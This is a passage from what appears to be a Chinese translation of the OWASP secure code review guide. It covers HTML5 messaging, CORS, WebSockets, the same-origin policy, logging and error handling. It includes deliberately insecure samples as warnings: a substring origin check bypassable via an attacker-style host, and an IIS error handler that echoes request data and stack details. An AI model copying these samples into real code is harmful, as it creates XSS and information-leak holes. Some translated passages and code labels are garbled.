sendRedirect()方法之后,servlet 或 JSP 的执行仍然继续,这一事实也适 用于请求调度程序类的转发方法。但是<jsp:forward >标记是一个例外,观察到使用< jsp:forward >标记后执行流程停止。 发出重定向或转发后,使用“return”语句终止代码流。 3.10.3 参考 ⚫ OWASP 关于 https://www.owasp.org/index.php/Open_redirect 开放重定向的 文章 ⚫ 关于开放重定向 http://cwe.mitre.org/data/definitions/601.html 的 CWE 条目 226 601 ⚫ WASC 关于网址重定向器滥用的文章 http://projects.webappsec.org/w/page/13246981/URL%20Redirector%20 Abuse ⚫ 关于开放重定向的危险的谷歌博客文章。 http://googlewebmastercentral.blogspot.com/2009/01/open-redirect-urls -is-your-site-being.html ⚫ 防止开放重定向攻击 (c#)http://www.asp.net/mvc/tutorials/security/preventing-open-redirectio n-attacks 4 其它方面 4.1 HTML5 HTML5 是为了取代 HTLML4、XHTML 和 HTML DOM Level 2 而创建的。这个新标 准的主要目的是提供动态内容,而不使用额外的专有客户端插件。这使得设计人员和开发人 员能够创建出色的网站,提供出色的用户体验,而无需在浏览器中安装任何附加插件。 4.1.1 描述 理想情况下,用户应该安装最新的网络浏览器,但这并不像安全专家建议的那样经常发 生,因此网站应该实现两层控制,第一层独立于浏览器类型,第二层作为附加控制。 227 4.1.2 审计什么:网络信息 网络消息传递(也称为跨域消息传递)提供了一种在不同来源的文档之间传递消息的方 法,这种方法通常比过去使用的多次黑客攻击更安全。通信应用编程接口如下(此处作者有 遗漏): 但是,仍有一些建议需要记住: ⚫ 发布消息时,请明确说明预期的来源,将其作为“发布消息”的第二个参数,而不 是“*”,以防止在重定向或目标窗口来源发生变化的其他方式后将消息发送到未 知来源。 ⚫ 接收页面应始终: ◼ 审计发送方的“来源”属性,以验证数据来自预期位置。 ◼ 对事件的“数据”属性执行输入验证,以确保其符合所需的格式。 ⚫ 不要假设您可以控制“数据”属性。发送页面中的单个跨站点脚本漏洞允许攻击者 发送任何给定格式的消息。 ⚫ 两个页面都应该只将交换的消息解释为“数据”。切勿将传递的消息视为代码(例 如,通过“eval()”)或将其插入页面 DOM(例如,这将创建一个基于 DOM 的 XSS 漏洞)。 ⚫ 若要将数据值赋给元素,请使用更安全的选项:“element.TextContent = data”; 而不是使用不安全的方法,如“element.innerHTML = data”。 ⚫ 正确审计消息来源地,以与您期望的 FQDN 完全匹配。请注意下面的代码: 228 ‘ if(message.orgin.indexOf(“.owasp.org”)!=-1) { /* ... */ }’非常不安全, 容易被绕过,比如'‘www.owasp.org.attacker.com'。 ⚫ 如果您需要嵌入外部内容/不受信任的小工具并允许执行用户控制的脚本(这是非 常不鼓励的),请考虑使用像谷歌的 Caja 这样的 JavaScript 重写框架或使用沙盒 执行代码。 4.1.3 审计什么:跨域资源共享 跨 域 资 源 共 享 或 CORS 是 一 种 机 制 , 使 网 络 浏 览 器 能 够 以 受 控 的 方 式 使 用 XMLHttpRequest L2 应用编程接口执行“跨域”请求。过去,XMLHttpRequest L1 应用 编程接口只允许在同一个源内发送请求,因为它受到同一个源策略的限制。 跨域请求有一个源头,它标识发起请求的域,并由浏览器自动包含在发送到服务器的请 求中。CORS 定义了 web 浏览器和服务器之间的协议,该协议将决定是否允许跨域请求。 为了实现这一目标,有提供消息上下文信息的 HTTP 头,包括:源、访问控制请求方法、访 问控制请求头、访问控制允许源、访问控制允许凭证、访问控制允许方法、访问控制允许头。 CORS 规范要求,对于非简单请求,如 GET 或 POST 以外的请求或使用凭据的请求, 必须提前发送 Options 请求,以审计请求类型是否会对数据产生负面影响。Options 请求 审计服务器允许的方法和头,如果凭据被允许,基于 OPTIONS 请求的结果,浏览器决定请 求是否被允许。 审计与 CORS 相关的代码时需要注意的事项包括: ⚫ 确保以“Access-Control-Allow-Origin“响应的网址不包含任何可能有助于攻击 者进一步攻击的敏感内容或信息。仅在需要跨域访问的选定网址上使用 229 “Access-Control-Allow-Origin”标题。不要对整个域使用标头。 ⚫ 在“Access-Control-Allow-Origin”标题中只允许选定的受信任域。比起列入黑 名单或允许任何域,更喜欢列入白名单(不要使用“*”通配符,也不要在没有任何 审计的情况下盲目返回“源”头内容)。 ⚫ 请记住,CORS 不阻止所请求的数据流向未经验证的位置。对于服务器来说,执行 通常的跨站点请求伪造仍然很重要。 ⚫ 虽然 RFC 推荐使用“Options”动词的预先请求,但当前的实现可能不支持该请 求,因此“普通”(“GET”和“POST”)请求执行任何必要的访问控制非常重要。 ⚫ 丢弃通过 HTTPS 来源的普通超文本传输协议接收的请求,以防止混合内容错误。 ⚫ 不要仅依靠 Origin 报头进行访问控制审计。浏览器总是在 CORS 请求中发送此标 头,但可能会在浏览器外被欺骗。应该使用应用程序级协议来保护敏感数据。 4.1.4 审计什么:网络套接字 传统上,HTTP 协议只允许每个 TCP 连接有一个请求/响应。异步 Javasscript 和 XML (AJAX)允许客户端向服务器异步发送和接收数据(在后台,不刷新页面),但是 AJAX 要求客 户端发起请求并等待服务器响应(半双工)。HTML5 网络套接字允许客户机/服务器创建“全 双工”(双向)通信通道,允许客户机和服务器真正异步通信。网络套接字通过超文本传输协 议进行最初的“升级”握手,然后所有的通信都通过超文本传输协议通道进行。 以下是使用网络套接字的应用程序的示例代码: 示例: [Constructor(in DOMString url, optional in DOMString protocol)] 230 interface WebSocket { readonly attribute DOMString URL; // ready state const unsigned short CONNECTING = 0; const unsigned short OPEN = 1; const unsigned short CLOSED = 2; readonly attribute unsigned short readyState; readonly attribute unsigned long bufferedAmount; // networking attribute Function onopen; attribute Function onmessage; attribute Function onclose; boolean send(in DOMString data); void close(); }; WebSocket implements EventTarget; var myWebSocket = new WebSocket(“ws://www.websockets.org”); myWebSocket.onopen = function(evt) { alert(“Connection open ...”); }; myWebSocket.onmessage = function(evt) { alert( “Received Message: “ + evt.data); }; myWebSocket.onclose = function(evt) { alert(“Connection closed.”); }; 审计实现 websockets 的代码时,应考虑以下事项: ⚫ 在已实现的客户机/服务器中放弃向后兼容性,仅使用 hybi-00 以上的协议版本。 流行的 Hixie-76 版(hiby-00)和更老的都是过时的,不安全的。 ⚫ 当前所有浏览器的最新版本支持的推荐版本是 RFC 6455 RFC 6455(Firefox 11+、 Chrome 16+、Safari 6、Opera 12.50 和 IE10 支持)。 ⚫ 虽然通过网络套接字隧道传输协议服务相对容易(例如,VNC,文件传输协议),这 样可以让浏览器中的攻击者在跨站点脚本攻击的情况下访问这些隧道服务。这些服 231 务也可能直接从恶意页面或程序中调用。 ⚫ 协议不处理授权和认证。应用层协议应该处理这个问题以防传输敏感数据。 ⚫ 将网络套接字接收的消息作为数据进行处理。不要试图将其直接赋给 DOM,也不 要将其作为代码进行评估。如果响应是 JSON,千万不要使用不安全的 eval()函数, 请改用安全选项 JSON.parse()。 ⚫ 通过“ws://”协议公开的端点很容易转换为纯文本。使用“wss://”(基于 SSL/ TLS 的网络套接字)用于防止中间人攻击。 ⚫ 在浏览器之外欺骗客户端是可能的,因此网络套接字服务器应该能够处理不正确的 恶意输入。始终验证来自远程站点的输入,因为它可能已被更改。 ⚫ 实现服务器时,审计网络套接字握手中的“Origin:”头。尽管它可能是伪造的, 在浏览器之外,浏览器总是添加启动网络套接字连接的页面的原点。 ⚫ 由于浏览器中的网络套接字客户端可通过 JavaScript 调用访问,所有网络套接字 通信都可能通过跨站点脚本被欺骗或劫持。要始终验证来自网络套接字连接的数据。 4.1.5 审计什么:服务器发送的事件 服务器发送的事件看起来类似于网络套接字,但是它们不使用特殊的协议(它们重复使 用超文本传输协议),并且它们允许客户端浏览器只监听来自服务器的更新(消息),从而消除 了客户端向服务器发送任何轮询或其他消息的需要。 查看处理服务器发送事件的代码时,需要记住的事项有: ⚫ 验证传递给“EventSource”构造函数的网址,即使只允许相同来源的网址。 232 ⚫ 如前所述,将消息(“event.data”)作为数据处理,不要将内容评估为超文本标记 语言或脚本代码。 ⚫ 始终审计消息的来源属性(“event.origin”),以确保消息来自可信域。要使用白 名单。 4.2 同源策略(Same Origin Policy) 同源策略(SOP),也称为单一源策略,是网络应用安全模型的一部分。同源策略存在代 码审计者需要考虑的漏洞。标准操作程序涵盖了网站开发的三个主要领域:信任、权威和政 策。同源策略由三个组件(scheme、host 和 port)组成。 4.2.1 描述 对于同源策略,Internet Explorer 有两个主要例外: 1. 信任区域:如果两个域都在高信任区域,例如公司域,则不应用相同的源限制。 2. 端 口 :IE 不 包 括 Same Origin 组 件 的 端 口 , 因 此 http://yourcompany.com:81/index. html 和 http://yourcompany.com/index.html 被 认为来自同一个来源,没有任何限制。 这些例外是非标准的,在任何其他浏览器中都不支持,但如果为基于Windows RT(或)IE 的网络应用程序开发应用程序,这将是需要考虑的。 下图显示了该网址的各个部分: 233 4.2.2 审计什么 如果应用程序允许用户在网址中提供数据,则代码审计者需要确保路径、查询或 Fragment Id Code 数据得到验证。 确保用户提供的方案名称或授权部分具有良好的输入验证。这是一个主要的代码注入 和网络钓鱼风险。只允许应用程序需要的前缀。不要使用黑名单。代码审计应该确保只有白 名单用于验证。 确保权限部分仅包含字母数字,"-"和". "后面跟“/”,?,"#"。这里可能的风险是 IDN 同形词攻击。 代码审计者需要确保程序员没有采取默认行为,因为程序浏览器正确地转义 了一个特定的字符,或者在允许任何从网址派生的值被放入数据库查询或网址被回显给用户 之前,该字符将被正确转义(浏览器标准要求)。 234 具有 MIME 类型 image/png 的资源被视为图像,具有 MIME text/html 的资源被视 为 html 文档。网络应用程序可以通过限制其 MIME 类型来限制该内容的权限。例如,将用 户生成的内容作为 image/png 提供比将用户生成的内容作为 text/html 提供风险小。 文件和资源上的特权应该授予或保留来自整个来源的特权(而不是在一个来源内区别 对待单个文件)。消减特权是无效的,因为没有特权的文件通常可以获得特权,因为标准操 作程序不隔离原始文件。 4.3 审计日志代码 应用程序记录不同强度和不同接收器的消息。许多日志记录应用编程接口允许您设置日 志消息的粒度,从在“跟踪”或“调试”级别记录几乎所有消息的状态,到只在“关键”级 别记录最重要的消息。日志消息的写入位置也是一个考虑因素,有时可以写入本地文件,有 时可以写入数据库日志表,或者可以通过网络链接写入中央日志服务器。 必须控制日志记录的数量,因为向日志中写入消息的行为会占用 CPU 周期,因此向日 志中写入每个小细节都会占用更多资源(CPU、网络带宽、磁盘空间)。再加上日志必须由工 具或人来解析或解释才能有用,日志的使用者可能必须解析数千行才能找到重要的消息。 4.3.1 描述 日志可能因类型而异。例如,日志可能只包含应用程序状态或过程数据,允许支持或开 发人员跟踪系统在发生错误时正在做什么。其他日志可能是特定于安全的,只记录中央安全 系统感兴趣的重要信息。还有些日志可以用于商业目的,例如计费。 235 应用程序日志可能非常强大,因为应用程序业务逻辑拥有关于用户的最多信息(例如, 身份、角色、权限)和事件的上下文(目标、动作、结果),并且通常这些数据对于基础设施设 备或者密切相关的应用程序都是不可用的。应用程序日志是生产系统的一个重要特征,特别 是对于支持人员和审计人员来说,但是它经常被遗忘,并且很少在设计/需求文档中进行足 够详细的描述。安全监控、警报和报告的级别和内容需要在项目的需求和设计阶段进行设置, 并应与信息安全风险相符。应用程序日志记录还应该在应用程序中保持一致,在整个组织的 应用程序组合中保持一致,并在相关的地方使用行业标准,以便记录的事件数据可以用于各 种各样的系统消费、关联、分析和管理。 所有类型的应用程序都可以直接通过网络连接向远程系统发送事件数据,或者通过日 志的每日/每周/每月安全副本发到某个集中式日志收集和管理系统(例如,SIEM 或 SEM)或 其他地方的另一个应用程序。 如果日志中的信息很重要,并且可能用于法律事务,请考虑如何验证来源(日志),以 及如何实施完整性和不可否认性。日志数据、临时调试日志和备份/拷贝/提取不得在所需的 数据保留期之前销毁,也不得超过此时间。法律、监管和合同义务可能会对这些时期产生影 响。 服务器应用程序通常将事件日志数据写入文件系统或数据库(SQL 或 NoSQL),但是在 客户端设备上可能需要日志记录,例如安装在台式机上的应用程序以及可能使用本地存储和 本地数据库的移动设备。考虑如何将客户端日志数据传输到服务器。 4.3.2 审计什么 从日志记录的角度查看代码模块时,需要注意的一些常见问题包括: 236 使用文件系统时,最好使用独立的分区,而不是操作系统、其他应用程序文件和用户生 成的内容所使用的分区。 对于基于文件的日志,对哪些用户可以访问目录和权限要有严格的限制。 在网络应用程序中,日志不应暴露在网络可访问的位置,如果这样做,应限制访问,并 配置为纯文本 MIME 类型(非 HTML) 使用数据库时,最好使用单独的数据库帐户,该帐户仅用于写入日志数据,并且具有非 常严格的数据库、表、函数和命令权限控制。 考虑应该记录哪些类型的消息: 输入验证失败。例如,违反协议、不可接受的编码、无效的参数名称和输出验证失败的 值,例如,数据库记录集不匹配,数据编码无效。 授权(访问控制)认证成功和失败 ⚫ 会话管理失败。例如,连接计时的 cookie 会话标识值修改 ⚫ 考虑每个日志消息应该包含的内容: ⚫ 日期和时间,以某种常见的格式,同时,确保应用程序的所有节点都通过类似 NTP 的方式同步也非常有必要。 ⚫ 执行操作的用户 ⚫ 正在执行/尝试的操作 237 ⚫ 客户端信息。例如,IP 地址、源端口、用户代理 ⚫ 外部分类。例如,NIST 安全内容自动化协议,常见攻击模式枚举和分类(CAPEC) ⚫ 对所有事件数据执行清理,以防止日志注入攻击。例如,回车符、换行符和分隔符 (也可以选择删除敏感数据) 如果要写数据库,请阅读、理解并应用 SQL 注入备忘录 确保在应用安全、模糊、渗透和性能测试期间实施并启用日志记录。 确保日志记录不会耗尽系统资源,例如,通过填满磁盘空间或超出数据库事务日志空间, 从而导致拒绝服务。 记录机制和收集的事件数据必须得到保护,以防误用,如在运输过程中被篡改,以及在 存储后被未经授权的访问、修改和删除。 尽快将日志数据存储或复制到只读介质。 考虑不应记录的内容: ⚫ 会话标识值(如果需要跟踪会话特定事件,考虑用散列值替换) ⚫ 敏感个人数据和某些形式的个人身份信息(PII) ⚫ 数据库连接字符串的身份验证密码(成功或不成功) ⚫ 密钥 ⚫ 安全等级高于日志系统允许存储的数据 238 4.3.3 参考 有关更多指导,请参见 NIST SP 800-92《计算机安全日志管理指南》。 Mitre Common Event Expression(MCEE) PCISSC PCI DSS v2.0 要求 10 和 PA-DSS v2.0 要求 4 其他通用日志文件系统(CLFS),微软 4.4 错误处理 正确的错误处理在两个方面很重要: 1. 它可能会影响应用程序的状态。最初未能防止错误可能导致应用程序进入不安全状 态。这涵盖了“安全失败”的关键前提,引入的错误不应使应用程序处于不安全的状态。应 该锁定和释放资源,终止会话(如果需要),并停止计算或业务逻辑(当然,这取决于错误的类 型)。 2.它可能会向用户泄露系统信息。安全应用程序开发的一个重要方面是防止信息泄漏。 错误消息让攻击者能够深入了解应用程序的内部工作方式。弱错误处理也有助于攻击者,因 为返回的错误可以帮助他们构建正确的攻击向量。 对于大多数错误,建议使用通用的错误页面,这种方法使攻击者更难识别潜在成功攻 击的特征,这样的话,诸如使用布尔化的盲 SQL 注入“<应包括参考>”或响应时间特征分 析的攻击方法就不容易实现。 239 4.4.1 描述 查看错误处理代码的目的是确保应用程序在所有可能的错误情况下安全地失败,无论是 预期的还是意外的。出现错误时,不会向用户显示任何敏感信息。一个公司的编码指南应该 包括关于错误处理的部分,以及它应该如何被一个应用程序套件控制,这将允许开发人员根 据这个指南进行编码,并根据它们进行审计。 例如,在有一些安全的错误信息处理的情况下,SQL 注入更难成功执行。它减少了攻 击的痕迹,并且攻击者将不得不求助于使用“盲 SQL 注入”,这更加困难和耗时。 安全的错误/异常处理指南在公司中非常重要,原因有三: 1. 良好的错误处理不会向攻击者提供任何信息,这是攻击应用程序的一种手段 2. 一个适当的集中错误策略更容易维护,并减少任何未捕获的错误出现到应用程序前 端的机会。 3. 信息泄漏可能会导致社会工程漏洞,例如,托管公司的名称被泄露,或者一些员工 的姓名被泄露。 不管开发语言是否提供审计过的异常,审计者应该记住: 并非所有错误都是例外。不要依赖异常处理作为处理错误的唯一方法,处理所有 case 语句“default”部分,确保所有“if”语句都包含“else”子句,确保函数的所有出口(例 如,返回语句、异常等)被覆盖。RAII 概念(例如,自动指针等)是一个优势。在像 Java 和 C#这样的语言中,记住错误不同于异常(不同的层次)应该被安全处理。 240 捕捉异常并不是自动处理它。你发现了你的异常,那么你是如何处理的呢?根据您的 业务逻辑,对于许多情况来说,这应该足够了,但是对于某些情况(例如,内存不足、数组 索引超出界限等)处理起来没有那么简单。 不要抓到更多你能抓到的东西。捕捉所有子句(例如,Java & C#中的 catch(Exception e)'或' C++中的 catch(...))应该避免,因为你不知道你正在处理什么类型的异常,如果你不 知道异常类型,你如何准确地处理它?这可能是因为下游服务器没有响应,或者用户可能超 过了他们的配额,或者您可能内存不足,这些问题应该以不同的方式处理,因此应该在特定 的异常子句中进行处理。 当抛出异常或错误时,我们还需要记录这种情况。有时这是由于糟糕的开发造成的, 但也可能是攻击或应用程序依赖的其他服务失败的结果。这在生产场景中是可以想象的,如 果您的应用程序通过向客户端返回一个错误响应来处理“安全失败”,并且由于我们不想泄 露该错误是一般性的信息,我们需要有某种方法来识别失败发生的原因。如果您的客户报告 昨晚发生了 1000 个错误,您知道客户会想知道为什么。如果应用程序中没有适当的日志记 录和可追溯性代码,那么在处理特定类型的错误时,您将无法确定这些错误是否是由于某种 企图的黑客攻击,或者是业务逻辑中的错误。 所有可能导致引发异常的代码路径都应该审计是否成功,以便不引发异常。对于手动代 码审计来说,这很难做到,尤其是对于大量的代码。然而,如果存在代码的调试版本,那么 模块/函数可能抛出相关的异常/错误,并且自动化工具可以确保来自模块的状态和错误响应 是预期的。这意味着代码审计者有责任确保所有相关的异常/错误都在调试代码中得到测试。 241 4.4.2 审计什么 在审计代码时,建议您从错误/异常处理的角度来评估应用程序的通用性。框架有错误 处理资源,可以利用这些资源来帮助安全编程,并且应该审计框架中的这些资源,以评估错 误处理是否“正确连接”。如果可能的话,应该为所有异常使用一个通用的错误页面,因为 这可以防止攻击者识别对错误状态的内部响应。这也使得自动化工具更难识别成功的攻击。 对于 JSP struts 来说,这可以在 struts-config.xml 文件中进行控制,这是查看连接的 struts 环境时的一个关键文件: 示例: <exception key=”bank.error.nowonga” path=”/NoWonga.jsp” type=”mybank.account.NoCashException”/> 为了处理未处理的异常,可以在 web.xml 中对 JSP 进行规范。当发生未处理的异常, 但未被代码捕获时,用户将被转发到一般错误页面: 示例: <error-page> <exception-type>UnhandledException</exception-type> <location>GenericError.jsp</location> </error-page> 此外,在审计过程中,如果出现 HTTP 404 或 HTTP 500 错误,您可能会发现: 示例: 242 <error-page> <error-code>500</error-code> <location>GenericError.jsp</location> </error-page> 对于 IIS 开发,“Application_Error()”处理程序将允许应用程序捕获所有未捕获的异 常,并以一致的方式处理它们。请注意这一点很重要,否则您的异常信息可能会在响应中被 发送回客户端。 对于 Apache 开发,从处理程序或模块返回失败可能会阻止 Apache 引擎的进一步处 理,并导致服务器的错误响应。响应头、正文等可以由处理程序/模块设置,也可以使用“错 误文档”配置进行配置。我们应该在每个异常中使用本地化的描述字符串,友好的错误原因, 如“系统错误-请稍后再试”。当用户看到错误消息时,它将从抛出的异常的描述字符串中 派生出来,而决不会从异常类中派生出来,异常类可能包含堆栈跟踪、错误发生的行号、类 名或方法名。 不要公开敏感信息,如异常消息,本地文件系统上的路径,任何内部系统信息。如前 所述,攻击者可以利用这些信息从组成应用程序的应用程序或组件中收集私人用户信息。 不要把人的名字或任何内部联系信息放在错误消息中。不要放任何“人”的信息,这 将导致一定程度的泄露并可能被社会工程利用。 4.4.2.1 安全地失败 应用程序失败的原因可能有很多,例如: ⚫ 不满足业务逻辑条件的结果。 243 ⚫ 业务逻辑所在环境的审计失败。 ⚫ 应用所依赖的上游或下游系统的结果失败。 ⚫ 技术硬件/物理故障。 失败就像西班牙宗教裁判所;一般来说,没有人预料到西班牙宗教裁判所(见 Monty Python)。但在现实生活中,西班牙人知道宗教裁判所何时会发生,并为此做好了准备,类 似地,在应用程序中,虽然您不希望出现错误,但您的代码应该为它们的发生做好准备。在 失败的情况下,重要的是不要让应用程序的“door”开着,应用程序中其他“room”的钥 匙放在桌子上。在基于需求设计的逻辑工作流过程中,可能会出现可以通过编程方式处理的 错误,例如连接池不可用,或者下游服务器返回故障。 这些失败的地方应该在代码审计的过程中进行审计。应该审计是否应该释放资源,如 内存、连接池、文件句柄等。 代码审计还应该包括确定用户会话应该终止或无效的区域。有时可能会出现从业务逻 辑角度或技术角度来看没有任何逻辑意义的错误,例如,登录的用户希望访问未注册到该用 户的帐户。这种情况反映了可能的恶意活动。在这里,我们应该审计代码是否以任何方式防 御并杀死用户的会话对象,并将用户转发到登录页面。(请记住,应该在每个 HTTP 请求时 审计会话对象)。 4.4.2.2 潜在的易受攻击的代码 JAVA 在 Java 中,我们有错误对象的概念:异常对象。这存在于 Java 包 java.lang 中,并且 244 是从 Throwable 对象派生的。当异常发生时抛出异常。另一个从 Throwable 派生的对象是 Error 对象,当更严重的事情发生时抛出。错误对象可以在 catch 子句中被捕获,但不能被 处理,您能做的最好的事情就是记录一些关于错误的信息,然后重新抛出它。 当开发人员使用一些异常方法时,可能会发生信息泄漏,由于错误处理策略不佳,这 些方法会出现到用户界面。方法如下: • printStackTrace() • getStackTrace() 同样重要的是要知道,这些方法的输出是在系统控制台中打印的,与System.out相同, 在有意外的地方打印。请确保不要将输出流重定向到 JSP 的 PrintWriter 对象,按照惯例称 为“输出”,例如: printStackTrace(out); 请注意,可以更改 system.err 和 system.out 的写入位置(比如在 bash 或 C/C++中 修改 fd 1 & 2),使用 java.lang.system 包: • setErr() for the System.err feld. • setOut() for the System.out feld. 这可以在整个流程的基础上使用,以确保没有输出被写入标准错误或标准输出(可以反 回客户端),而是写入配置的日志文件。 C# 245 . NETc 存 在 一 个 System.Exception 对 象 , 并 有 常 用 的 子 对 象 , 如 ApplicationException 和 SystemException。不建议您抛出或捕捉 SystemException,这 是由运行时抛出的。 发生错误时,系统或当前执行的应用程序都会抛出一个包含错误信息的异常来报告错误, 类似于 Java。一旦抛出,异常将由应用程序或默认异常处理程序处理。该异常对象包含类 似于 Java 实现的方法,例如: StackTrace 来源 信息 帮助链接 在. NET 中,我们需要从全局错误处理和意外错误处理的角度来看错误处理策略。这可 以通过多种方式实现,本文并不是一个详尽的列表。首先,当引发未处理的异常时,会引发 错误事件。 这是 TemplateControl 类的一部分,请参见参考资料: http://msdn.microsoft.com/library/default.asp? URL =/library/enus/cpref/html/frlrfSystemWebUITemplateControlClassErrorTopic.asp 错误处理可以通过三种方式完成.NET,按以下顺序执行: 在页面_错误中的 aspx 或相关代码隐藏页面上。 246 在 global.asax 文件的 Application_Error 中(如前所述)。 在 web.config 文件的客户错误部分。 建议查看这些区域,了解应用程序的错误策略。 经典 ASP 不像 Java 和.NET 中,经典的 ASP 页面在 try-catch 块中没有结构化的错误处理。相 反,他们有一个特定的对象叫做“err”。这使得经典 ASP 页面中的错误处理变得困难,并 且容易在错误处理程序上出现设计错误,从而导致竞争条件和信息泄漏。此外,由于 ASP 使用 VBscript(Visual Basic 老版本),像“出错时转到标签”这样的句子是不可用的。在经 典的 ASP 中,有两种方法来处理错误,第一种是使用带有“出错时继续下一步”和“出错 时转到 0”的 err 对象。 示例: Public Function IsInteger (ByVal Number) Dim Res, tNumber Number = Trim(Number) tNumber=Number On Error Resume Next ‘If an error occurs continue execution Number = CInt(Number) ‘if Number is a alphanumeric string a Type Mismatch error will occur Res = (err.number = 0) ‘If there are no errors then return true On Error GoTo 0 ‘If an error occurs stop execution and display error re.Pattern = “^[\+\-]? *\d+$” ‘only one +/- and digits are allowed IsInteger = re.Test(tNumber) And Res End Function 247 第 二 种 是 在 错 误 页 面 上 使 用 错 误 处 理 程 序 (http://support . Microsoft .com/kb/299981)。 示例: Dim ErrObj set ErrObj = Server.GetLastError() ‘Now use ErrObj as the regular err object C++ 在 C++语言中,可以抛出任何对象或内置类型。然而,有一个 STL 类型 std::exception 应该被用作任何用户定义的异常的父类型,事实上,这个类型在 STL 和许多库中被用作所 有异常的父类型。 与 Java 不同,即使您出现无法恢复的错误(例如 std :: bad_alloc 表示内存不足)它 也源自 std :: exception,因此'catch(std :: exception&e)'与'catch( ...)”,不同之 处在于它允许您访问异常,因此您可以知道发生了什么,并可能使用 e.what()打印一些 错误信息。 C++有很多日志库,所以如果你的代码库使用一个特定的日志类,在任何敏感信息可 以写入日志的地方寻找该日志的用法。 审计的内容:IIS 中的错误处理 页面错误是在服务器端运行的页面级处理。下面是一个例子,但错误信息太多,因此是 不好的做法。 示例: 248 <script language=”C#” runat=”server”> Sub Page_Error(Source As Object, E As EventArgs) Dim message As String = Request.Url.ToString()& Server.GetLastError().ToString() Response.Write(message) // display message End Sub </script> 上面例子中的代码有许多问题。 首先,它以请求的形式向用户显示 Request.Url.ToString()。假设在此之前没有数据验 证,我们很容易受到跨站点脚本攻击。 其次,使用服务器向用户显示错误消息和 Server.GetLastError().ToString()泄露关于应 用程序的内部信息。调用 Page_Error 后,调 Application_Error。 当出现错误时,将调用 Application_Error 函数。在这种方法中,我们可以记录错误 并重定向到另一个页面。事实上,在 Application_Error 中捕获错误而不是在 Page_Error 中捕获错误是前面描述的集中错误的一个例子。 示例: <%@ Import Namespace=”System.Diagnostics” %> <script language=”C#” runat=”server”> void Application_Error(Object sender, EventArgs e) { String Message = “\n\nURL: http://localhost/” + Request.Path + “\n\nMESSAGE:\n “ + Server.GetLastError().Message + “\n\nSTACK TRACE:\n” + Server.GetLastError().StackTrace; // Insert into Event Log EventLog Log = new EventLog(); Log.Source = LogName; Log.WriteEntry(Message, EventLogEntryType.Error); Server.Redirect(Error.htm) // this shall also clear the error } 249 </script> 以上是 Global.asax 和 Application_Error 方法中的代码示例。记录错误,然后重定向 用户。未验证的参数以请求路径的形式记录在这里。必须注意不要记录或显示来自任何外部 来源的未经验证的输入。' <链接到 XSS > ' ' Web.config 具有可用于处理错误的自定义错误标记。这是最后调用的,如果调用了 Page_error 或 Application_error 并具有功能,则应首先执行该功能。如果前两种处理机 制没有重定向或清除(Response.Redirect 或 Server.ClearError)。这将被调用,您将被转 发到在 customErrors 部分的 web.config 中定义的页面,该页面的配置如下: 示例: <customErrors mode=”<On|Off|RemoteOnly>” defaultRedirect=”<default redirect page>”> <error statusCode=”<HTTP status code>” redirect=”<specific redirect page for listed status code>” /> </customErrors> “模式”属性值“开”表示启用自定义错误,“关”值表示禁用自定义错误。“mode” 属性也可以设置为“RemoteOnly”,它指定自定义错误只显示给远程客户端,而 ASP.NET 错误显示给来自本地主机的请求。如果未设置“模式”属性,则默认为“仅远程”。 出现错误时,如果响应的状态代码与错误元素之一相匹配,则相应的“重定向”值将 作为错误页返回。如果状态代码不匹配,将显示“默认重定向”属性的错误页面。如果没有 为“默认重定向”设置值,则返回一般的 IIS 错误页。 为应用程序完成的客户错误部分的示例如下: 250 示例: <customErrors mode=”On” defaultRedirect=”error.html”> <error statusCode=”500” redirect=”err500.aspx”/> <error statusCode=”404” redirect=”notHere.aspx”/> <error statusCode=”403” redirect=”notAuthz.aspx”/> </customErrors> 4.4.2.3 Apache 中的错误处理 在 Apache 中,如何向客户端返回错误消息有两种选择: 1. 您可以将错误状态代码写入请求对象,并以您想要的方式编写响应,然后让您的处 理程序返回“完成”(这意味着 Apache 框架不允许任何进一步的处理程序/过滤器处理请求, 并将响应发送给客户端)。 2. 您的处理程序或过滤器代码可以返回预定义的值,这些值将告诉 Apache 框架您 的代码处理的结果(本质上是 HTTP 状态代码)。然后,您可以配置应该为每个错误代码返回 哪些错误页面。 为了集中所有的错误代码处理,选项 2 更有意义。要从处理程序中返回特定的预定义 值,请参考 Apache 文档中要使用的值列表,然后从处理程序函数中返回,如下例所示: 示例: static int my_handler(request_rec *r){ if ( problem_processing() ){ return HTTP_INTERNAL_SERVER_ERROR; } ... continue processing request ... } 251 在 httpd.conf 文件中,您可以使用“ErrorDocument”指令为每个错误代码指定应 该返回哪个页面。该指令的格式如下: 错误记录< 3 位数代码> <动作> ... 其中 3 位代码是处理程序设置的 HTTP 响应代码,操作是要返回的本地或外部网址, 或 者 要 显 示 的 特 定 文 本 。 以 下 示 例 摘 自 Apache 错 误 文 档 文 档 (https://httpd.apache.org/docs/2.4/custom-error.html),其中包含有关错误文档指令的 更多信息和选项: 示例: ErrorDocument 500 “Sorry, our script crashed. Oh dear” ErrorDocument 500 /cgi-bin/crash-recover ErrorDocument 500 http://error.example.com/server_error.html ErrorDocument 404 /errors/not_found.html ErrorDocument 401 /subscription/how_to_subscribe.html 4.4.2.4 错误处理的领先实践 可能引发异常的代码应该在 try 块中,处理异常的代码应该在 catch 块中。catch 块是 以关键字 catch 开始的一系列语句,后面是异常类型和要采取的操作。 示例:Java try-catch 块: public class DoStuff { public static void Main() { try { StreamReader sr = File.OpenText(“stuff.txt”); 252 Console.WriteLine(“Reading line {0}”, sr.ReadLine()); } catch(MyClassExtendedFromException e) { Console.WriteLine(“An error occurred. Please leave to room”); logerror(“Error: “, e); } } } 示例:.NET try-catch 块 示例: public void run() { while (!stop) { try { // Perform work here } catch (Throwable t) { // Log the exception and continue WriteToUser(“An Error has occurred, put the kettle on”); logger.log(Level.SEVERE, “Unexception exception”, t); } } } C++ try-catch 块 示例: void perform_fn() { try { 253 // Perform work here } catch ( const MyClassExtendedFromStdException& e) { // Log the exception and continue WriteToUser(“An Error has occurred, put the kettle on”); logger.log(Level.SEVERE, “Unexception exception”, e); } } 一般来说,在 Java 的情况下,最好的做法是捕获特定类型的异常,而不是使用基本的 catch(异常)或 catch(可抛出)语句。 4.4.2.5 捕捉异常的顺序 请记住,许多语言会尝试将抛出的异常与 catch 子句匹配,这意味着将抛出的异常与父 类匹配。还要记住,catch 子句是按照它们在页面上的编码顺序进行审计的。这可能会使您 处 于 对 某 种 类 型 的 异 常 可 能 永 远 无 法 正 确 处 理 的 情 况 , 举 下 面 的 例 子 , 其 中 “non_even_argument”是“std::invalid_argument”的子类: 示例: class non_even_argument : public std::invalid_argument { public: explicit non_even_argument (const string& what_arg); }; void 